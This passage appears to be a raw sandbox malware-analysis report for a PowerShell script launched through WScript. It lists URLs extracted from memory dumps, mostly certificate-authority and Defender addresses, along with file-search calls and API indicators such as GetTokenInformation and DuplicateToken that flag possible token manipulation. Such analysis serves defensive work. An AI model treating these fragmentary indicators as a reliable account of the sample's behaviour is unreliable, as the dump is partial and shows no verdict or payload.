Files\WindowsPowerShell\Modules\Pester\PESTER.CDXML"3b:T1730,Pattern match: "https://go.microsoft.com/fwlink/?linkid=74409&enterprise=" Pattern match: "https://go.microsoft.com/fwlink/?linkid=74408&enterprise=" Pattern match: "https://go.microsoft.com/fwlink/?linkid=37020&name=%s&threatid=%u&enterprise=%d" Pattern match: "https://go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&" Pattern match: "https://wdcp.microsoft.com/wdcp.svc/submitreport" Pattern match: "http://www.validationtest.contoso.com/test%d.html" Heuristic match: "??\c:\windows\system32\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\microsoft-windows-client-features-package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: ":\windows\system32\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\microsoft-windows-client-features-wow64-package0017~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Pattern match: "microsoft.net/framework64/v4.0.30319/" Heuristic match: "em.co" Heuristic match: "microsoft-windows-client-features-package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "microsoft-windows-client-features-wow64-package0017~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Pattern match: "www.digicert.com1" Pattern match: "www.digicert.com1!0" Heuristic match: "pathext=.com" Heuristic match: "??\c:\windows\system32\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\microsoft-windows-client-features-wow64-package0017~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "ols.com" Heuristic match: "5.cat" Heuristic match: "-00c04fc295ee}\microsoft-windows-client-features-package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "ntrust.net" Heuristic match: "windows-client-features-package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "ystem.windows.fo" Pattern match: "www.digicert.com1$0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^" Pattern match: "www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0" Pattern match: "http://crl.comodoca.com/comodorsacertificationauthority.crl0q" Pattern match: "http://crt.comodoca.com/comodorsaaddtrustca.crt0$" Pattern match: "http://ocsp.comodoca.com0" Pattern match: "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0v" Pattern match: "crt.usertrust.com/usertrustrsaaddtrustca.crt0%" Pattern match: "http://ocsp.usertrust.com0" Pattern match: "http://certs.godaddy.com/repository/1301" Pattern match: "http://ocsp.godaddy.com/05" Pattern match: "http://crl.godaddy.com/gdroot-g2.crl0f" Pattern match: "https://certs.godaddy.com/repository/0" Pattern match: "https://www.alphassl.com/repository/03" Pattern match: "http://crl.globalsign.net/root.crl0=" Pattern match: "http://ocsp.globalsign.com/rootr10" Pattern match: "http://g1.symcb.com/crls/gtglobal.crl0/" Pattern match: "http://g2.symcb.com0l" Pattern match: "http://www.geotrust.com/resources/cps0" Pattern match: "http://ocsp.thawte.com0" Pattern match: "https://www.thawte.com/cps07" Pattern match: "http://crl.thawte.com/thawtepca-g3.crl0" Pattern match: "https://www.globalsign.com/repository/03" Pattern match: "www.digicert.com1+0" Pattern match: "www.digicert.com1/0-" Pattern match: "http://ocsp.digicert.com0k" Pattern match: "http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "https://www.digicert.com/cps0" Pattern match: "http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "http://s2.symcb.com0" Pattern match: "http://www.symauth.com/cps0" Pattern match: "http://www.symauth.com/rpa00" Pattern match: "http://s1.symcb.com/pca3-g5.crl0" Pattern match: "crl.usertrust.com/addtrustexternalcaroot.crl05" Pattern match: "http://s2.symcb.com0k" Pattern match: "http://www.symauth.com/rpa0" Pattern match: "www.verisign.com/cps" Pattern match: "https://www.verisign.com/cps04" Pattern match: "http://crl.verisign.com/pca3.crl0" Pattern match: "www.microsoft.com/pkiops/docs/repository.htm" Pattern match: "http://logo.verisign.com/vslogo.gif0" Pattern match: "http://cert.startcom.org/sfsca-crl.crl0+" Pattern match: "http://crl.startcom.org/sfsca-crl.crl0" Pattern match: "http://cert.startcom.org/policy.pdf05" Pattern match: "http://cert.startcom.org/intermediate.pdf0" Pattern match: "http://cert.startcom.org/policy.pdf0" Pattern match: "7www.entrust.net/cps_2048" Pattern match: "http://crl.globalsign.net/root-r2.crl0" Pattern match: "http://crl.securetrust.com/stca.crl0" Pattern match: "http://www.certplus.com/crl/class2.crl0" Pattern match: "www.entrust.net/legal-terms1907" Pattern match: "0www.entrust.net/cps" Pattern match: "crl.comodoca.com/aaacertificateservices.crl06" Pattern match: "crl.comodo.net/aaacertificateservices.crl0" Pattern match: "http://repository.swisssign.com/0" Pattern match: "crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0" Pattern match: "www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07" Pattern match: "http://www.microsoft.com0" Pattern match: "crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0" Pattern match: "www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0a" Pattern match: "www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" Pattern match: "www.microsoft.com/pki/docs/cps/default.htm0@" Pattern match: "http://www.microsoft.com/windows0" Pattern match: "wdcp.microsoft.com/wdcp.svc/submitreport" Pattern match: "go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&" Pattern match: "http://www.microsoft.com/windows" Pattern match: "osoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0z"3c:T5211,Found URL "https://go.microsoft.com/fwlink/?linkid=74409&enterprise=%ls%dhttps://go.microsoft.com/fwlink/?linkid=74408&enterprise=https://go.microsoft.com/fwlink/?linkid=37020&name=%s&threatid=%u&enterprise=%dpynetsubmitsamplesconsentspynetreportingpclient_public_commodempclient_allowadminelevationacquirepclient_noforcedreboot\?\volume" - Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&httpsigupdate_baseurlforceupdatefrommusignaturedisablenotificationcloudbasedbehaviorblockingsignaturecategoryiddisablescheduledsignatureupdateonbatterysignatureupdatecatchupintervalsignatureslastcheckednissignatureslastupdateddeltaupdatefailurenissignatureversionnissignaturelocation%mpconfig_productappdatapath%\definition" - Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportspynetreportinglocationlocalsettingoverridesubmitsamplesconsentdisableblockatfirstseenheartbeatdelayindaysheartbeatsamplingratessloptionsbypassinternetcheckmapslatencyretrytimeoutthreatseveritydefaultactionemptykeyvaluedisableprivacymode%mpconfig_productappdatapath%\telemetryallowuseruiaccessuilockdownnotification_suppresssuppressrebootnotificationsuppresswdonotificationmpconfig_productcodenamempconfig_productpathmpconfig_productappdatapathmpconfig_productuserappdatapathmpconfig_appdataroot12345678-f0f0-4f3f-b1f3-41cd1905616empconfig_reportingguid\msmplics.dllmpconfigut-53e7e780-2330-40c6-94c6-be75e946e933oftware\microsoft\removaltools\mrtguidfalsemp_config_type_szmp_config_type_dwordmp_config_type_multi_szmp_config_type_binarymp_config_type_nonemp_config_origin_nonemp_config_origin_defaultmp_config_origin_preferencesmp_config_origin_mdm_policymp_config_origin_policy*sof**eof*t%uh%um%uspt%uhp%udp%udt%uh2000-01-01t%02u:%02u:%02umpclient_nouseunifiedschedulingenginelocalsystem2100-01-01t00:00:00d:(a;;fa;;;sy)(a;;frfx;;;ls)maintenanceregularmicrosoft\windows\windows" - Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00005784.00000000.143702.2D832000.00000002.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0-%3_j=sm" - Source: "00000000-00005784.00000000.143702.497B0000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00005784.00000000.143702.497B0000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00005784.00000000.143702.497B0000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00005784.00000000.143702.497B0000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00005784.00000000.143702.497B0000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00005784.00000000.143702.497B0000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00005784.00000000.143702.497B0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00005784.00000000.143702.497B0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00005784.00000000.143702.497B0000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czcthawte," - Source: "00000000-00005784.00000000.143702.497B0000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?e1q" - Source: "00000000-00005784.00000000.143702.497B0000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00005784.00000000.143702.497B0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00005784.00000000.143702.497B0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00005784.00000000.143702.497B0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00005784.00000000.143702.497B0000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00005784.00000000.143702.497B0000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;0" - Source: "00000000-00005784.00000000.143702.497B0000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00005784.00000000.143702.497B0000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00005784.00000000.143702.497B0000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00005784.00000000.143702.497B0000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00005784.00000000.143702.497B0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00005784.00000000.143702.497B0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0pn" - Source: "00000000-00005784.00000000.143702.497B0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00005784.00000000.143702.497B0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3geotrust" - Source: "00000000-00005784.00000000.143702.497B0000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00005784.00000000.143702.497B0000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00005784.00000000.143702.497B0000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00005784.00000000.143702.497B0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00005784.00000000.143702.497B0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00005784.00000000.143702.497B0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1q" - Source: "00000000-00005784.00000000.143702.497B0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00005784.00000000.143702.497B0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@" - Source: "00000000-00005784.00000000.143702.62210000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00005784.00000000.143702.62210000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00005784.00000000.143702.62210000.00000004.mdmp") Found URL "http://www.microsoft.com/windows0qst*&pj>e" - Source: "00000000-00005784.00000000.143702.62210000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4zs9_>convcwashington1redmond1microsoft" - Source: "00000000-00005784.00000000.143702.62210000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportindows" - Source: "00000000-00005784.00000000.143702.62410000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1ct'jmicrosoft" - Source: "00000000-00005784.00000000.143702.62410000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00005784.00000000.143702.62410000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0" - Source: "00000000-00005784.00000000.143702.62410000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00005784.00000000.143702.62410000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00005784.00000000.143702.62410000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00005784.00000000.143702.62410000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0-%3_j=sm" - Source: "00000000-00005784.00000001.143823.497B0000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00005784.00000001.143823.497B0000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00005784.00000001.143823.497B0000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00005784.00000001.143823.497B0000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00005784.00000001.143823.497B0000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00005784.00000001.143823.497B0000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00005784.00000001.143823.497B0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00005784.00000001.143823.497B0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00005784.00000001.143823.497B0000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czcthawte," - Source: "00000000-00005784.00000001.143823.497B0000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?e1q" - Source: "00000000-00005784.00000001.143823.497B0000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00005784.00000001.143823.497B0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00005784.00000001.143823.497B0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00005784.00000001.143823.497B0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00005784.00000001.143823.497B0000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00005784.00000001.143823.497B0000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;0" - Source: "00000000-00005784.00000001.143823.497B0000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00005784.00000001.143823.497B0000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00005784.00000001.143823.497B0000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00005784.00000001.143823.497B0000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00005784.00000001.143823.497B0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00005784.00000001.143823.497B0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0pn" - Source: "00000000-00005784.00000001.143823.497B0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00005784.00000001.143823.497B0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3geotrust" - Source: "00000000-00005784.00000001.143823.497B0000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00005784.00000001.143823.497B0000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00005784.00000001.143823.497B0000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00005784.00000001.143823.497B0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00005784.00000001.143823.497B0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00005784.00000001.143823.497B0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*li" - Source: "00000000-00005784.00000001.143823.497B0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00005784.00000001.143823.497B0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00005784.00000001.143823.62410000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00005784.00000001.143823.62410000.00000004.mdmp")3d:T8c1,"WScript.exe" called "FindFirstFileW" with parameter C:\Temp\ps_jh1r6TrQLY0O_1788332647793.ps1 (UID: 00000000-00002468) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00005784) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\\* (UID: 00000000-00005784) "powershell.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00005784) "powershell.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00005784) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00005784) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00005784) "powershell.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00005784) "powershell.exe" called "FindNextFileW" with parameter v2.0.50727 (UID: 00000000-00005784) "powershell.exe" called "FindNextFileW" with parameter v3.0 (UID: 00000000-00005784) "powershell.exe" called "FindNextFileW" with parameter v3.5 (UID: 00000000-00005784) "powershell.exe" called "FindNextFileW" with parameter v4.0.30319 (UID: 00000000-00005784) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\* (UID: 00000000-00005784) "powershell.exe" called "FindNextFileW" with parameter fe2524177eb3088c77be666722039f52 (UID: 00000000-00005784) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\* (UID: 00000000-00005784) "powershell.exe" called "FindNextFileW" with parameter b5ba37e1558ced178a99011a1d659b52 (UID: 00000000-00005784) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\* (UID: 00000000-00005784) "powershell.exe" called "FindNextFileW" with parameter e43dd9c73ab5615e461bf5109c3facd6 (UID: 00000000-00005784) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\* (UID: 00000000-00005784) "powershell.exe" called "FindNextFileW" with parameter 0d59b0e237d7519417de10cd84bda4e7 (UID: 00000000-00005784)3e:T410,Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.2D832000.00000002.mdmp, 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.2D832000.00000002.mdmp, 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.2D832000.00000002.mdmp, 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.2D832000.00000002.mdmp, 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp")3f:T965,Found reference to API "0GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API "0GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API "GetFileVersionInfoW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.2D832000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.2D832000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.2D832000.00000002.mdmp") Found reference to API "GetFileVersionInfoExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.2D832000.00000002.mdmp") Found reference to API "GetFileAttributesExW" (Indicator: "GetFileAttributes"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.2D832000.00000002.mdmp, 00000000-00005784.00000000.143702.B3ECA000.00000002.mdmp") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.2D832000.00000002.mdmp") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp, 00000000-00005784.00000000.143702.2D832000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00005784.00000000.143702.2D832000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00005784.00000000.143702.2D832000.00000002.mdmp") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; Source: "00000000-00005784.00000000.143702.2D832000.00000002.mdmp")40:T4e9,Found reference to API "GetLengthSid" (Indicator: "GetLengthSid"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API "CopySid" (Indicator: "CopySid"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API "InitializeAcl" (Indicator: "InitializeAcl"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API "FreeSid" (Indicator: "FreeSid"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; Source: "00000000-00005784.00000000.143702.21AA8000.00000002.mdmp") Found reference to API "DuplicateToken" (Indicator: "DuplicateToken"; Source: 